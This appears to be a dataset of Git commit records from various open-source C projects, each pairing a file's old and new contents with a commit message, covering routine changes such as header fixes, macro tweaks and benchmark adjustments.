{"commit":"ca7cea3fe392766a1252c86274554950384663e4","old_file":"bench\/udb2\/test-mlib.c","new_file":"bench\/udb2\/test-mlib.c","old_contents":"#include \"..\/common.c\"\n#include \"m-dict.h\"\n\nstatic inline bool oor_equal_p(unsigned int k, unsigned char n)\n{\n  return k == (unsigned int)n;\n}\nstatic inline void oor_set(unsigned int *k, unsigned char n)\n{\n  *k = (unsigned int)n;\n}\n\nDICT_OA_DEF2(dict_oa_uint,\n\t     unsigned int, M_OPEXTEND(M_DEFAULT_OPLIST, OOR_EQUAL(oor_equal_p), OOR_SET(oor_set M_IPTR)),\n\t     unsigned int, M_DEFAULT_OPLIST)\n\nuint32_t test_int(uint32_t n, uint32_t x0)\n{\n  uint32_t i, x, z = 0;\n  dict_oa_uint_t h;\n  dict_oa_uint_init(h);\n  for (i = 0, x = x0; i < n; ++i) {\n    x = hash32(x);\n    unsigned int key = get_key(n, x);\n    unsigned int *ptr = dict_oa_uint_get_at(h, key);\n    (*ptr)++;\n    z += *ptr;\n  }\n  fprintf(stderr, \"# unique keys: %d; checksum: %u\\n\", (int) dict_oa_uint_size(h), z);\n  z = dict_oa_uint_size(h);\n  dict_oa_uint_clear(h);\n  return z;\n}\n","new_contents":"#include \"..\/common.c\"\n#define DICTI_OA_PROBING(s) 1\n#include \"m-dict.h\"\n\nstatic inline bool oor_equal_p(unsigned int k, unsigned char n)\n{\n  return k == (unsigned int)n;\n}\nstatic inline void oor_set(unsigned int *k, unsigned char n)\n{\n  *k = (unsigned int)n;\n}\n\nDICT_OA_DEF2(dict_oa_uint,\n\t     unsigned int, M_OPEXTEND(M_DEFAULT_OPLIST, HASH(hash_fn), OOR_EQUAL(oor_equal_p), OOR_SET(oor_set M_IPTR)),\n\t     unsigned int, M_DEFAULT_OPLIST)\n\nuint32_t test_int(uint32_t n, uint32_t x0)\n{\n  uint32_t i, x, z = 0;\n  dict_oa_uint_t h;\n  dict_oa_uint_init(h);\n  for (i = 0, x = x0; i < n; ++i) {\n    x = hash32(x);\n    unsigned int key = get_key(n, x);\n    unsigned int *ptr = dict_oa_uint_get_at(h, key);\n    (*ptr)++;\n    z += *ptr;\n  }\n  fprintf(stderr, \"# unique keys: %d; checksum: %u\\n\", (int) dict_oa_uint_size(h), z);\n  z = dict_oa_uint_size(h);\n  dict_oa_uint_clear(h);\n  return z;\n}\n","subject":"Use of linear probing and the same hash function as other libraries","message":"Use of linear probing and the same hash function as other libraries\n","lang":"C","license":"bsd-2-clause","repos":"P-p-H-d\/mlib,P-p-H-d\/mlib"}
{"commit":"fcf556ee83012bf061286ddaea7dd84826dab7d1","old_file":"src\/bin\/e_error.c","new_file":"src\/bin\/e_error.c","old_contents":"#include \"e.h\"\n\n\/* local subsystem functions *\/\n\n\/* local subsystem globals *\/\n\n\/* externally accessible functions *\/\nEAPI void\ne_error_message_show_internal(char *txt)\n{\n   \/* FIXME: maybe log these to a file and display them at some point *\/\n   printf(\"<<<< Enlightenment Error >>>>\\n\"\n\t  \"%s\\n\",\n\t  txt);\n}\n\n\/* local subsystem functions *\/\n","new_contents":"#include \"e.h\"\n\n\/* local subsystem functions *\/\n\n\/* local subsystem globals *\/\n\n\/* externally accessible functions *\/\nEAPI void\ne_error_message_show_internal(char *txt)\n{\n   \/* FIXME: maybe log these to a file and display them at some point *\/\n   printf(\"<<<< Enlightenment Error >>>>\\n%s\\n\", txt);\n}\n\n\/* local subsystem functions *\/\n","subject":"Fix formatting. (Really ??? 3 lines for something that can fit on one ?)","message":"E: Fix formatting. (Really ??? 3 lines for something that can fit on\none ?)\n\n\n\ngit-svn-id: 6ac5796aeae0cef97fb47bcc287d4ce899c6fa6e@61614 7cbeb6ba-43b4-40fd-8cce-4c39aea84d33\n","lang":"C","license":"bsd-2-clause","repos":"jordemort\/e17,jordemort\/e17,jordemort\/e17"}
{"commit":"13cd844ad3d0ab3c71578f5ddcb49699f3845fb1","old_file":"src\/condor_includes\/condor_constants.h","new_file":"src\/condor_includes\/condor_constants.h","old_contents":"#ifndef CONSTANTS_H\n#define CONSTANTS_H\n\n\n#if !defined(__STDC__) && !defined(__cplusplus)\n#define const\n#endif\n\n\/*\n\tSet up a boolean variable type.  Since this definition could conflict\n\twith other reasonable definition of BOOLEAN, i.e. using an enumeration,\n\tit is conditional.\n*\/\n#ifndef BOOLEAN_TYPE_DEFINED\ntypedef int BOOLEAN;\ntypedef int BOOL;\n#endif\n\n#if defined(TRUE)\n#\tundef TRUE\n#\tundef FALSE\n#endif\n\nstatic const int\tTRUE = 1;\nstatic const int\tFALSE = 0;\n\n\/*\n\tUseful constants for turning seconds into larger units of time.  Since\n\tthese constants may have already been defined elsewhere, they are\n\tconditional.\n*\/\n#ifndef TIME_CONSTANTS_DEFINED\nstatic const int\tMINUTE = 60;\nstatic const int\tHOUR = 60 * 60;\nstatic const int\tDAY = 24 * 60 * 60;\n#endif\n\n\/*\n  This is for use with strcmp() and related functions which will return\n  0 upon a match.\n*\/\n#ifndef MATCH\nstatic const int\tMATCH = 0;\n#endif\n#endif\n","new_contents":"#ifndef CONSTANTS_H\n#define CONSTANTS_H\n\n\n#if !defined(__STDC__) && !defined(__cplusplus)\n#define const\n#endif\n\n\/*\n\tSet up a boolean variable type.  Since this definition could conflict\n\twith other reasonable definition of BOOLEAN, i.e. using an enumeration,\n\tit is conditional.\n*\/\n#ifndef BOOLEAN_TYPE_DEFINED\ntypedef int BOOLEAN;\ntypedef int BOOL_T;\n#endif\n\n#if defined(TRUE)\n#\tundef TRUE\n#\tundef FALSE\n#endif\n\nstatic const int\tTRUE = 1;\nstatic const int\tFALSE = 0;\n\n\/*\n\tUseful constants for turning seconds into larger units of time.  Since\n\tthese constants may have already been defined elsewhere, they are\n\tconditional.\n*\/\n#ifndef TIME_CONSTANTS_DEFINED\nstatic const int\tMINUTE = 60;\nstatic const int\tHOUR = 60 * 60;\nstatic const int\tDAY = 24 * 60 * 60;\n#endif\n\n\/*\n  This is for use with strcmp() and related functions which will return\n  0 upon a match.\n*\/\n#ifndef MATCH\nstatic const int\tMATCH = 0;\n#endif\n#endif\n","subject":"Change BOOL to BOOL_T to avoid confilct with \"condor_expr.h\".","message":"Change BOOL to BOOL_T to avoid confilct with \"condor_expr.h\".\n","lang":"C","license":"apache-2.0","repos":"djw8605\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,djw8605\/htcondor,clalancette\/condor-dcloud,clalancette\/condor-dcloud,djw8605\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,neurodebian\/htcondor,djw8605\/condor,neurodebian\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,htcondor\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,djw8605\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,djw8605\/condor,neurodebian\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,neurodebian\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,neurodebian\/htcondor,djw8605\/condor,neurodebian\/htcondor,djw8605\/condor,htcondor\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,djw8605\/condor,zhangzhehust\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,neurodebian\/htcondor"}
{"commit":"bb43546c7a3d535576b49f0a729761ba6a348892","old_file":"include\/sound\/asound.h","new_file":"include\/sound\/asound.h","old_contents":"#include <alsa\/sound\/uapi\/asound.h>\n","new_contents":"\/* workaround for building with old glibc \/ kernel headers *\/\n#ifdef __linux__\n#include <linux\/types.h>\n#else\n#include <sys\/types.h>\n#endif\n#ifndef __kernel_long_t\n#define __kernel_long_t long\n#endif\n\n#include <alsa\/sound\/uapi\/asound.h>\n","subject":"Fix build error with old kernel headers","message":"header: Fix build error with old kernel headers\n\nOld development environment doesn't necessarily contain the headers\ndefining __kernel_long_t that is recently used for y2038 timespec\nconditional.  Define it explicitly in such a case.\n\nSigned-off-by: Takashi Iwai <4596b3305151c7ee743192a95d394341e3d3b644@suse.de>\n","lang":"C","license":"lgpl-2.1","repos":"tiwai\/alsa-lib,alsa-project\/alsa-lib,alsa-project\/alsa-lib,takaswie\/alsa-lib,takaswie\/alsa-lib,tiwai\/alsa-lib,alsa-project\/alsa-lib,takaswie\/alsa-lib,alsa-project\/alsa-lib,takaswie\/alsa-lib,tiwai\/alsa-lib,tiwai\/alsa-lib,takaswie\/alsa-lib"}
{"commit":"5ede7ca028f40c0770b8cb646138b592a84ead78","old_file":"SSPSolution\/SSPSolution\/GameStateHandler.h","new_file":"SSPSolution\/SSPSolution\/GameStateHandler.h","old_contents":"#ifndef SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#define SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#include \"GameState.h\"\n#include \"StartState.h\"\n#include \"LevelSelectState.h\"\n#include <vector>\n\n\/\/#define START_WITHOUT_MENU\n\nclass GameStateHandler\n{\nprivate:\n\tstd::vector<GameState*> m_stateStack;\n\tstd::vector<GameState*> m_statesToRemove;\npublic:\n\tGameStateHandler();\n\t~GameStateHandler();\n\n\tint ShutDown();\n\n\tint Initialize(ComponentHandler* cHandler, Camera* cameraRef);\n\n\tint Update(float dt, InputHandler* inputHandler);\n\n\t\/\/Push a state to the stack\n\tint PushStateToStack(GameState* state);\nprivate:\n};\n\n#endif","new_contents":"#ifndef SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#define SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#include \"GameState.h\"\n#include \"StartState.h\"\n#include \"LevelSelectState.h\"\n#include <vector>\n\n#define START_WITHOUT_MENU\n\nclass GameStateHandler\n{\nprivate:\n\tstd::vector<GameState*> m_stateStack;\n\tstd::vector<GameState*> m_statesToRemove;\npublic:\n\tGameStateHandler();\n\t~GameStateHandler();\n\n\tint ShutDown();\n\n\tint Initialize(ComponentHandler* cHandler, Camera* cameraRef);\n\n\tint Update(float dt, InputHandler* inputHandler);\n\n\t\/\/Push a state to the stack\n\tint PushStateToStack(GameState* state);\nprivate:\n};\n\n#endif","subject":"UPDATE default start without menu","message":"UPDATE default start without menu\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"8b6c24dce25e743ceecd06d1c175c1cf8b91627b","old_file":"browser\/brightray_paths.h","new_file":"browser\/brightray_paths.h","old_contents":"\/\/ Copyright 2015 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BROWSER_BRIGHTRAY_PATHS_H_\n#define BROWSER_BRIGHTRAY_PATHS_H_\n\n#include \"base\/compiler_specific.h\"\n\n#if defined(OS_WIN)\n#include \"base\/base_paths_win.h\"\n#elif defined(OS_MACOSX)\n#include \"base\/base_paths_mac.h\"\n#endif\n\n#if defined(OS_POSIX)\n#include \"base\/base_paths_posix.h\"\n#endif\n\nnamespace brightray {\n\nenum {\n  PATH_START = 1000,\n\n  DIR_USER_DATA = PATH_START,  \/\/ Directory where user data can be written.\n  DIR_USER_CACHE,  \/\/ Directory where user cache can be written.\n\n#if defined(OS_LINUX)\n  DIR_APP_DATA,  \/\/ Application Data directory under the user profile.\n#else\n  DIR_APP_DATA = base::DIR_APP_DATA,\n#endif\n\n#if defined(OS_POSIX)\n  DIR_CACHE = base::DIR_CACHE,  \/\/ Directory where to put cache data.\n#else\n  DIR_CACHE = base::DIR_APP_DATA,\n#endif\n\n  PATH_END\n};\n\n}  \/\/ namespace brightray\n\n#endif  \/\/ BROWSER_BRIGHTRAY_PATHS_H_\n","new_contents":"\/\/ Copyright 2015 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BROWSER_BRIGHTRAY_PATHS_H_\n#define BROWSER_BRIGHTRAY_PATHS_H_\n\n#include \"base\/compiler_specific.h\"\n\n#if defined(OS_WIN)\n#include \"base\/base_paths_win.h\"\n#elif defined(OS_MACOSX)\n#include \"base\/base_paths_mac.h\"\n#endif\n\n#if defined(OS_POSIX)\n#include \"base\/base_paths_posix.h\"\n#endif\n\nnamespace brightray {\n\nenum {\n  PATH_START = 11000,\n\n  DIR_USER_DATA = PATH_START,  \/\/ Directory where user data can be written.\n  DIR_USER_CACHE,  \/\/ Directory where user cache can be written.\n\n#if defined(OS_LINUX)\n  DIR_APP_DATA,  \/\/ Application Data directory under the user profile.\n#else\n  DIR_APP_DATA = base::DIR_APP_DATA,\n#endif\n\n#if defined(OS_POSIX)\n  DIR_CACHE = base::DIR_CACHE,  \/\/ Directory where to put cache data.\n#else\n  DIR_CACHE = base::DIR_APP_DATA,\n#endif\n\n  PATH_END\n};\n\n}  \/\/ namespace brightray\n\n#endif  \/\/ BROWSER_BRIGHTRAY_PATHS_H_\n","subject":"Change our PATH_START to 11000","message":"Change our PATH_START to 11000\n","lang":"C","license":"mit","repos":"atom\/brightray,bbondy\/brightray,brave\/brightray,atom\/brightray,brave\/brightray,bbondy\/brightray"}
{"commit":"314f4b9a1ea1272e83165570ff5634d53425f2fc","old_file":"scene\/geometry\/sphere.h","new_file":"scene\/geometry\/sphere.h","old_contents":"\/*\n * A sphere which can be added\n * Author: Dino Wernli\n *\/\n\n#ifndef SPHERE_H_\n#define SPHERE_H_\n\n#include \"scene\/element.h\"\n#include \"util\/point3.h\"\n#include \"util\/random.h\"\n\nclass Material;\n\nclass Sphere : public Element {\n public:\n  \/\/ Does not take ownership of material.\n  Sphere(const Point3& center, Scalar radius, const Material& material);\n  virtual ~Sphere();\n\n  virtual bool Intersect(const Ray& ray, IntersectionData* data = NULL) const;\n\n  \/\/ Returns a uniformly distributed random point on the surface of the sphere.\n  \/\/ This guarantees that \"point\" is visible from the returned point.\n  Point3 Sample(const Point3& point) const;\n\n private:\n  Point3 center_;\n  Scalar radius_;\n\n  static Random random_;\n};\n\n#endif  \/* SPHERE_H_ *\/\n","new_contents":"\/*\n * A sphere which can be added\n * Author: Dino Wernli\n *\/\n\n#ifndef SPHERE_H_\n#define SPHERE_H_\n\n#include \"scene\/element.h\"\n#include \"util\/point3.h\"\n#include \"util\/random.h\"\n\nclass Material;\n\nclass Sphere : public Element {\n public:\n  \/\/ Does not take ownership of material.\n  Sphere(const Point3& center, Scalar radius, const Material& material);\n  virtual ~Sphere();\n\n  virtual bool Intersect(const Ray& ray, IntersectionData* data = NULL) const;\n\n  \/\/ Returns a uniformly distributed random point on the surface of the sphere.\n  \/\/ This guarantees that \"point\" is visible from the returned point.\n  \/\/ TODO(dinow): This is not true, replace this my a method taking a normal.\n  Point3 Sample(const Point3& point) const;\n\n private:\n  Point3 center_;\n  Scalar radius_;\n\n  static Random random_;\n};\n\n#endif  \/* SPHERE_H_ *\/\n","subject":"Add todo because comment is wrong.","message":"Add todo because comment is wrong.\n","lang":"C","license":"mit","repos":"dinowernli\/raytracer,dinowernli\/raytracer,dinowernli\/raytracer,dinowernli\/raytracer"}
{"commit":"9340480f46eb97d0774b77f47c316fe0bb4632e5","old_file":"dhash\/dhblock_chash_srv.h","new_file":"dhash\/dhblock_chash_srv.h","old_contents":"#include <dhblock_srv.h>\n\nclass pmaint;\nstruct block_info;\n\nstruct adb_keyaux_t;\nenum adb_status;\n\n\/\/ Internal implementation of content hash repair_job logic.\nclass rjchash;\n\nclass dhblock_chash_srv : public dhblock_srv {\n  friend class rjchash;\n  ptr<adb> cache_db;\n\n  pmaint *pmaint_obj;\n\n  void localqueue (u_int32_t frags, clnt_stat err, adb_status stat, vec<block_info> keys);\n\npublic:\n  dhblock_chash_srv (ptr<vnode> node, ptr<dhashcli> cli, str dbname, str dbext,\n      str desc, cbv donecb);\n  ~dhblock_chash_srv ();\n\n  void start (bool randomize);\n  void stop  ();\n\n  void store (chordID k, str d, cb_dhstat cb);\n  void offer (user_args *sbp, dhash_offer_arg *arg);\n  void stats (vec<dstat> &s);\n  void generate_repair_jobs ();\n};\n\n","new_contents":"#include <dhblock_srv.h>\n\nclass pmaint;\nstruct block_info;\n\nstruct adb_keyaux_t;\nenum adb_status;\n\n\/\/ Internal implementation of content hash repair_job logic.\nclass rjchash;\n\nclass dhblock_chash_srv : public dhblock_srv {\n  friend class rjchash;\n  ptr<adb> cache_db;\n\n  pmaint *pmaint_obj;\n\n  void localqueue (u_int32_t frags, clnt_stat err, adb_status stat, vec<block_info> keys);\n\npublic:\n  dhblock_chash_srv (ptr<vnode> node, ptr<dhashcli> cli, \n      str desc, str dbname, str dbext, cbv donecb);\n  ~dhblock_chash_srv ();\n\n  void start (bool randomize);\n  void stop  ();\n\n  void store (chordID k, str d, cb_dhstat cb);\n  void offer (user_args *sbp, dhash_offer_arg *arg);\n  void stats (vec<dstat> &s);\n  void generate_repair_jobs ();\n};\n\n","subject":"Fix mis-named parameters in header.","message":"Fix mis-named parameters in header.\n","lang":"C","license":"mit","repos":"weidezhang\/dht,sit\/dht,sit\/dht,sit\/dht,weidezhang\/dht,weidezhang\/dht,sit\/dht,sit\/dht,weidezhang\/dht,weidezhang\/dht"}
{"commit":"0663fd7688904bad0bf3b87d4192553420fe00a1","old_file":"examples\/misc\/samples\/src\/loop-simple1.c","new_file":"examples\/misc\/samples\/src\/loop-simple1.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\nint main(int argc, char * argv[]) {\n    unsigned int i;\n    unsigned int a;\n    unsigned int l;\n\n    if (argc != 2) {\n        printf(\"Usage: %s <iterations>\\n\", argv[0]);\n        exit(-1);\n    }\n\n    l = (unsigned int) atoi(argv[1]);\n\n    for (i = 0; i < l; i++) {\n        a++;\n    }\n\n    printf(\"Finished!\\n\");\n\n    return 0;\n}\n","subject":"Add binary sample (add missing file)","message":"Add binary sample (add missing file)\n","lang":"C","license":"bsd-2-clause","repos":"cnheitman\/barf-project,cnheitman\/barf-project,programa-stic\/barf-project,cnheitman\/barf-project,programa-stic\/barf-project"}
{"commit":"d4e76b1eb2dd6a96faf591ea6935088095528b96","old_file":"include\/rose\/memory.h","new_file":"include\/rose\/memory.h","old_contents":"\/*\n * Copyright (c) 2012 Rob Hoelz <rob at hoelz.ro>\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n *\/\n\n#ifndef ROSE_MEMORY_H\n#define ROSE_MEMORY_H\n\nvoid memory_init_gdt(void);\nvoid memory_init_paging(void *kernel_start, void *kernel_end);\n\n#endif\n","new_contents":"\/*\n * Copyright (c) 2012 Rob Hoelz <rob at hoelz.ro>\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n *\/\n\n#ifndef ROSE_MEMORY_H\n#define ROSE_MEMORY_H\n\nvoid memory_init_gdt(void);\nvoid memory_init_paging(void *kernel_start, void *kernel_end);\n\n#define MEMORY_PAGE_ALIGN(addr)\\\n    ((void *) (((long)addr) & ~0xFFF))\n\n#define MEMORY_IS_PAGE_ALIGNED(addr)\\\n    ((((long)addr) & 0xFFF) == 0)\n\n#endif\n","subject":"Add macros for page aligning","message":"Add macros for page aligning\n","lang":"C","license":"mit","repos":"hoelzro\/rose-kernel,hoelzro\/rose-kernel"}
{"commit":"e99fdabfefb6c3b5426932eed6c8165ea1476231","old_file":"io\/pipe_pair_simple.h","new_file":"io\/pipe_pair_simple.h","old_contents":"","new_contents":"#ifndef\tIO_PIPE_PAIR_SIMPLE_H\n#define\tIO_PIPE_PAIR_SIMPLE_H\n\n#include <io\/pipe_simple.h>\n#include <io\/pipe_simple_wrapper.h>\n\nclass PipePairSimple : public PipePair {\n\tPipeSimpleWrapper<PipePairSimple> *incoming_pipe_;\n\tPipeSimpleWrapper<PipePairSimple> *outgoing_pipe_;\nprotected:\n\tPipePairSimple(void)\n\t: incoming_pipe_(NULL),\n\t  outgoing_pipe_(NULL)\n\t{ }\npublic:\n\tvirtual ~PipePairSimple()\n\t{\n\t\tif (incoming_pipe_ != NULL) {\n\t\t\tdelete incoming_pipe_;\n\t\t\tincoming_pipe_ = NULL;\n\t\t}\n\n\t\tif (outgoing_pipe_ != NULL) {\n\t\t\tdelete outgoing_pipe_;\n\t\t\toutgoing_pipe_ = NULL;\n\t\t}\n\t}\n\nprotected:\n\tvirtual bool incoming_process(Buffer *, Buffer *) = 0;\n\tvirtual bool outgoing_process(Buffer *, Buffer *) = 0;\n\npublic:\n\tPipe *get_incoming(void)\n\t{\n\t\tASSERT(incoming_pipe_ == NULL);\n\t\tincoming_pipe_ = new PipeSimpleWrapper<PipePairSimple>(this, &PipePairSimple::incoming_process);\n\t\treturn (incoming_pipe_);\n\t}\n\n\tPipe *get_outgoing(void)\n\t{\n\t\tASSERT(outgoing_pipe_ == NULL);\n\t\toutgoing_pipe_ = new PipeSimpleWrapper<PipePairSimple>(this, &PipePairSimple::outgoing_process);\n\t\treturn (outgoing_pipe_);\n\t}\n};\n\n#endif \/* !IO_PIPE_PAIR_SIMPLE_H *\/\n","subject":"Add PipePairSimple which allows a user to simply construct a single object which implements a PipePair.","message":"Add PipePairSimple which allows a user to simply construct a single object which\nimplements a PipePair.\n\n\ngit-svn-id: 9e2532540f1574e817ce42f20b9d0fb64899e451@486 4068ffdb-0463-0410-8185-8cc71e3bd399\n","lang":"C","license":"bsd-2-clause","repos":"splbio\/wanproxy,diegows\/wanproxy,diegows\/wanproxy,splbio\/wanproxy,diegows\/wanproxy,splbio\/wanproxy"}
{"commit":"6e21b4d8465f8cd4dc4181ea10683b576b361455","old_file":"Base\/RXBufferMacros.h","new_file":"Base\/RXBufferMacros.h","old_contents":"\/\/\n\/\/  RXBufferMacros.h\n\/\/  rivenx\n\/\/\n\n#if !defined(RX_BUFFER_MACROS_H)\n#define RX_BUFFER_MACROS_H\n\n#define BUFFER_OFFSET(buffer, bytes) (__typeof__(buffer))((uintptr_t)buffer + (bytes))\n#define BUFFER_NOFFSET(buffer, bytes) (__typeof__(buffer))((uintptr_t)buffer - (bytes))\n#define BUFFER_ADD_OFFSET(buffer, bytes) (buffer) = BUFFER_OFFSET((buffer), (bytes))\n\n#define BUFFER_DELTA(head_ptr, read_ptr) ((size_t)(((uintptr_t)read_ptr) - ((uintptr_t)head_ptr)))\n\n#define BUFFER_ALIGN(buffer, a) (__typeof__(buffer))(((uintptr_t)(buffer) + (a-1ul)) & ~(a-1ul))\n#define BUFFER_ALIGN_SIZE(buffer, a) (size_t)((uintptr_t)BUFFER_ALIGN((buffer), a) - (uintptr_t)(buffer))\n\n#define BUFFER_ALIGN2(buffer) BUFFER_ALIGN(buffer, 2ul)\n#define BUFFER_ALIGN4(buffer) BUFFER_ALIGN(buffer, 4ul)\n#define BUFFER_ALIGN8(buffer) BUFFER_ALIGN(buffer, 8ul)\n#define BUFFER_ALIGN16(buffer) BUFFER_ALIGN(buffer, 16ul)\n\n#endif \/\/ RX_BUFFER_MACROS_H\n","new_contents":"\/\/\n\/\/  RXBufferMacros.h\n\/\/  rivenx\n\/\/\n\n#if !defined(RX_BUFFER_MACROS_H)\n#define RX_BUFFER_MACROS_H\n\n#define BUFFER_OFFSET(buffer, bytes) (__typeof__(buffer))((uintptr_t)(buffer) + (bytes))\n#define BUFFER_NOFFSET(buffer, bytes) (__typeof__(buffer))((uintptr_t)(buffer) - (bytes))\n#define BUFFER_ADD_OFFSET(buffer, bytes) (buffer) = BUFFER_OFFSET((buffer), (bytes))\n\n#define BUFFER_DELTA(head_ptr, read_ptr) ((size_t)(((uintptr_t)(read_ptr)) - ((uintptr_t)(head_ptr))))\n\n#define BUFFER_ALIGN(buffer, a) (__typeof__(buffer))(((uintptr_t)(buffer) + (a-1ul)) & ~(a-1ul))\n#define BUFFER_ALIGN_SIZE(buffer, a) (size_t)((uintptr_t)BUFFER_ALIGN((buffer), (a)) - (uintptr_t)(buffer))\n\n#define BUFFER_ALIGN2(buffer) BUFFER_ALIGN(buffer, 2ul)\n#define BUFFER_ALIGN4(buffer) BUFFER_ALIGN(buffer, 4ul)\n#define BUFFER_ALIGN8(buffer) BUFFER_ALIGN(buffer, 8ul)\n#define BUFFER_ALIGN16(buffer) BUFFER_ALIGN(buffer, 16ul)\n\n#endif \/\/ RX_BUFFER_MACROS_H\n","subject":"Fix the new buffer macros by ensuring macro arguments are evaluated first.","message":"Fix the new buffer macros by ensuring macro arguments are evaluated first.\n","lang":"C","license":"bsd-3-clause","repos":"jfroy\/rivenx,jfroy\/rivenx,jfroy\/rivenx,jfroy\/rivenx"}
{"commit":"73164701cee9fe9a89c34bd6b59a961096a45155","old_file":"testmud\/mud\/home\/Game\/sys\/verb\/ooc\/wiz\/system\/preload.c","new_file":"testmud\/mud\/home\/Game\/sys\/verb\/ooc\/wiz\/system\/preload.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths.h>\n#include <text\/paths.h>\n\ninherit LIB_RAWVERB;\n\nvoid main(object actor, string args)\n{\n\tobject user;\n\tobject *users;\n\tint i, sz;\n\n\tuser = query_user();\n\n\tif (user->query_class() < 3) {\n\t\tsend_out(\"You do not have sufficient access rights to reload properties.\\n\");\n\t\treturn;\n\t}\n\n\t\"~Game\/initd\"->configure_properties();\n}\n","subject":"Add command to reload property configuration","message":"Add command to reload property configuration\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"53f6358ae3dd63a1ca308409a3faeccee1d3e0ad","old_file":"src\/murmurhash3.h","new_file":"src\/murmurhash3.h","old_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ MurmurHash3 was written by Austin Appleby, and is placed in the public\n\/\/ domain. The author hereby disclaims copyright to this source code.\n\n#ifndef _MURMURHASH3_H_\n#define _MURMURHASH3_H_\n\n\/\/-----------------------------------------------------------------------------\n\/\/ Platform-specific functions and macros\n\n\/\/ Microsoft Visual Studio\n\n#if defined(_MSC_VER)\n\ntypedef unsigned char uint8_t;\ntypedef unsigned long uint32_t;\ntypedef unsigned __int64 uint64_t;\n\n\/\/ Other compilers\n\n#else   \/\/ defined(_MSC_VER)\n\n#include <stdint.h>\n\n#endif \/\/ !defined(_MSC_VER)\n\n\/\/-----------------------------------------------------------------------------\n\nvoid MurmurHash3_x86_32 (const void * key, int len, uint32_t seed,\n                         void * out);\n\n\/**\n * The following 2 functions have been altered to just return the\n * 64 most significant bits.\n *\/\nvoid MurmurHash3_x86_128 (const void * key, int len, uint32_t seed,\n                          void * out);\n\nvoid MurmurHash3_x64_128 